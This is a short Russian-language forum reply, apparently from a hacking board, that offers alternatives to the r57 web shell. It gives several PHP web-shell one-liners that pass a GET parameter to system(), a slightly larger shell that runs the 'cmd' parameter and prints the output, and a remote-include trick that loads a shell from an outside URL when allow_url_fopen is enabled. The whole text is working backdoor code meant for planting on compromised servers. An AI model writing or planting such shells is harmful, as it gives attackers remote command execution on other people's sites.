а ты не знал что кроме рст есть например <?system($c);?> и усе, ну разве что подделать немного <?system($_GET['c']);?>, а если вообще красиво
<?

if (!empty($_GET['cmd'])) {
echo '<pre>';
system($_GET['cmd']);
echo '</pre>';
exit;
}

?>

или если есть корявая настройка в php - allow_url_fopen=On, то <? include('http://путь_к_шеллу_рст_без_счетчи� �ов_нах.txt') ?>